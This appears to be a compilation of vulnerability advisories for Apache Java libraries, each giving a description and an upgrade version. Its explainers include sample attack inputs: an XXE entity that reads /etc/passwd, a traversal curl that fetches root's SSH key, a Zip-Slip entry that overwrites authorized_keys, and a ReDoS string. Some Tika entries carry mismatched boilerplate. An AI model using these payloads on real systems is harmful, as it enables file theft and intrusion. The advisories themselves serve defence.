Affected versions of this package are vulnerable to Information Exposure via the short-circuit reads feature of HDFS. A local user on an HDFS DataNode may be able to craft a block token that grants unauthorized read access to random files by guessing certain fields in the token.

Remediation

Upgrade org.apache.hadoop:hadoop-hdfs to version 2.6.4, 2.7.2 or higher.

References

• OSS security Advisory

Overview

org.apache.pdfbox:fontbox is an open source Java tool for working with PDF fonts.

Affected versions of this package are vulnerable to Denial of Service (DoS) attacks. A carefully crafted (or fuzzed) file can trigger an infinite loop which leads to an out of memory exception in Apache PDFBox's AFMParser.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade to versions 1.8.15, 2.0.11 or higher.

References

• Apache Mailing Lisr

Overview

org.apache.poi:poi is a java library for reading and writing Microsoft Office binary and OOXML file formats.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection as it allows remote attackers to cause a denial of service (CPU consumption) via a specially crafted OOXML file, aka an XML Entity Expansion (XEE) attack.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.apache.poi:poi to version 3.15 or higher.

References

• GitHub Commit
• NVD
• NVD
• Poi Security Advisory

Overview

org.apache.poi:poi-ooxml is a Java API To Access Microsoft Format Files.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection as it allows remote attackers to cause a denial of service (CPU consumption) via a specially crafted OOXML file, aka an XML Entity Expansion (XEE) attack.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.apache.poi:poi-ooxml to version 3.15 or higher.

References

• GitHub Commit
• NVD
• NVD
• Poi Security Advisory

Overview

org.apache.solr:solr-core is an enterprise search platform written using Apache Lucene.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. It can be used as XXE using the file/ftp/http protocols in order to read arbitrary local files from the server or the internal network. The manipulated files can be uploaded as config sets using solr's API, allowing to exploit that vulnerability.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.apache.solr:solr-core to versions 6.6.5, 7.4 or higher.

References

• Apache Solr Jira Issue
• Lucene-solr-user Mailing List Archives
• GitHub Commit

Overview

org.apache.tika:tika-parsers is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Denial of Service (DoS) via the MP3Parser.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.tika:tika-parsers to version 1.26 or higher.

References

• RedHat Bugzilla Bug

Overview

org.apache.tika:tika-parsers is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Denial of Service (DoS) attacks. A carefully crafted (or fuzzed) file can trigger an infinite loop via the BPGParser.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.tika:tika-parsers to version 1.18 or higher.

References

• Apache Mail Archives
• NVD

Overview

org.apache.tika:tika-parsers is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Denial of Service (DoS) via a carefully crafted (or fuzzed) file can trigger an infinite loop via the ChmParser.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.tika:tika-parsers to version 1.18 or higher.

References

• Apache Security Advisory

• GitHub Commit

• RHSA Security Advisory

Overview

org.apache.tika:tika-parsers is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Denial of Service (DoS). A carefully crafted file can trigger an infinite loop in the IptcAnpaParser.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.tika:tika-parsers to version 1.19 or higher.

References

• https://lists.apache.org/thread.html/72df7a3f0dda49a912143a1404b489837a11f374dfd1961061873a91@%3Cdev.tika.apache.org%3E
• https://github.com/apache/tika/commit/62926cae31a02d4f23d21148435804b96c543cc
• https://github.com/apache/tika/commit/8a6a9e1344f5b10ebfa1a189dc3c30d0da2b9d4

Overview

commons-httpclient:commons-httpclient is a HttpClient component of the Apache HttpComponents project.

Affected versions of this package are vulnerable to Improper Certificate Validation due to not verifying that the requesting server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate. This allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate.

NOTE: This plugin has been deprecated, but a fix has been released in version 3.1-jenkins-3 on a special Jenkins fork of the project.

Remediation

Upgrade commons-httpclient:commons-httpclient to version 3.1-jenkins-1 or higher.

References

• GitHub Commit
• Jira Issue
• The University of Texas
• X-force Vulnerability Report

Overview

org.apache.httpcomponents:httpclient is an HttpClient component of the Apache HttpComponents project.

Affected versions of this package are vulnerable to Man-in-the-Middle (MitM) due to not verify the requesting server's hostname against existing domain names in the SSL Certificate.

The AbstractVerifier does not properly verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via a "CN=" string in a field in the distinguished name (DN) of a certificate, as demonstrated by the "foo,CN=www.apache.org" string in the O field.

Details

Remediation

Upgrade org.apache.httpcomponents:httpclient to version 4.3.4 or higher.

References

• GitHub Commit

• NVD

• POC: Potential Exploit

• RedHat Bugzilla Bug

• SVN Revision Introducing Vuln

Overview

org.apache.solr:solr-core is an open source enterprise search platform built on Apache Lucene

Affected versions of this package are vulnerable to Arbitrary File Access. The Replication handler allows commands backup, restore and deleteBackup that take unvalidated alocation parameter, i.e you could read/write to any location the solr user can access. Launching SMB attacks which may result in the exfiltration of sensitive data such as OS user hashes (NTLM/LMhashes). In case of misconfigured systems, SMB Relay Attacks which can lead to user impersonation on SMB Shares or, in a worse-case scenario, Remote Code Execution.

Remediation

Upgrade org.apache.solr:solr-core to version 8.6.0 or higher.

References

• GitHub Commit
• RedHat Bugzilla Bug

Overview

commons-io:commons-io is a The Apache Commons IO library contains utility classes, stream implementations, file filters, file comparators, endian transformation classes, and much more.

Affected versions of this package are vulnerable to Directory Traversal via calling the method FileNameUtils.normalize using an improper string like //../foo or \\..\foo, which may allow access to files in the parent directory.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade commons-io:commons-io to version 2.7 or higher.

References

• GitHub Commit
• Jira Issue
• PoC

Overview

org.apache.httpcomponents:httpclient is a HttpClient component of the Apache HttpComponents project.

Affected versions of this package are vulnerable to Directory Traversal. String input by user is not validated for the presence of leading character / and is passed to the constructor as path information, resulting in a Directory Traversal vulnerability.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade org.apache.httpcomponents:httpclient to version 4.5.3 or higher.

References

• GitHub Commit

• Jira Issue

• Researcher blog post

Overview

org.apache.httpcomponents:httpclient is a HttpClient component of the Apache HttpComponents project.

Affected versions of this package are vulnerable to Improper Input Validation. Apache HttpClient can misinterpret malformed authority component in request URIs passed to the library as java.net.URI object and pick the wrong target host for request execution.

Remediation

Upgrade org.apache.httpcomponents:httpclient to version 4.5.13 or higher.

References

• Apache Security Advisory
• GitHub Commit
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Header Injection. An attacker can add unintended headers to MIME messages via the MIME4J DOM.

Remediation

Upgrade org.apache.james:apache-mime4j-core to version 0.8.10 or higher.

References

• Apache Lists
• GitHub Commit
• GitHub Commit
• GitHub PR

Overview

org.apache.poi:poi is a java library for reading and writing Microsoft Office binary and OOXML file formats.

Affected versions of this package are vulnerable to Denial of Service (DoS). The calculation of dataSize in Ole10Native's initialization is faulty, causing the code to allocate a large buffer and resulting in Out-Of-Memory.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.poi:poi to version 3.16-beta1 or higher.

References

• GitHub Commit
• Jira Issue

Overview

org.apache.poi:poi-scratchpad is a Java API To Access Microsoft Format Files

Affected versions of this package are vulnerable to Denial of Service (DoS). HSLFSlideShow allows remote attackers to cause a denial of service (infinite loop and deadlock) via a crafted PPT file.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.poi:poi-scratchpad to version 3.11 or higher.

References

• NVD

Overview

org.apache.solr:solr-core is an open source enterprise search platform built on Apache Lucene

Affected versions of this package are vulnerable to Access Restriction Bypass. When using ConfigurableInternodeAuthHadoopPlugin for authentication, Solr forwards/proxies distributed requests using server credentials instead of original client credentials. This results in incorrect authorization resolution on the receiving hosts.

Remediation

Upgrade org.apache.solr:solr-core to version 8.8.2 or higher.

References

• Apache Security Advisory
• GitHub Commit

Overview

org.apache.tika:tika-core is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the StandardsText class, used by the StandardsExtractingContentHandler. This is due to an incomplete fix for CVE-2022-30126.

Note: This only affects users who are running the StandardsExtractingContentHandler, which is a non-standard handler.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade org.apache.tika:tika-core to version 1.28.3 or higher.

References

• Apache Thread
• GitHub Commit
• OSS Security Advisory

Overview

org.apache.tika:tika-core is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to incomplete fix of CVE-2022-30126 and CVE-2022-30973 for regexes in the StandardsExtractingContentHandler.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade org.apache.tika:tika-core to version 1.28.4, 2.4.1 or higher.

References

• Apache Thread
• GitHub Commit

Overview

org.apache.tika:tika-parsers is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Denial of Service (DoS). A carefully crafted or corrupt PSD file can cause an infinite loop in the PSDParser.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade org.apache.tika:tika-parsers to version 1.24 or higher.

References

• Apache Mailing List

Overview

org.apache.tika:tika-parsers is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Denial of Service (DoS). A carefully crafted or corrupt PSD file can cause excessive memory usage in the PSDParser.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade org.apache.tika:tika-parsers to version 1.24 or higher.

References

• Apache Mailing List

Overview

org.apache.tika:tika-parsers is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Denial of Service (DoS). A carefully crafted or corrupt file may trigger a System.exit in Tika's OneNote Parser. Crafted or corrupted files can also cause out of memory errors and/or infinite loops in Tika's ICNSParser, MP3Parser, MP4Parser, SAS7BDATParser, OneNoteParser and ImageParser.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

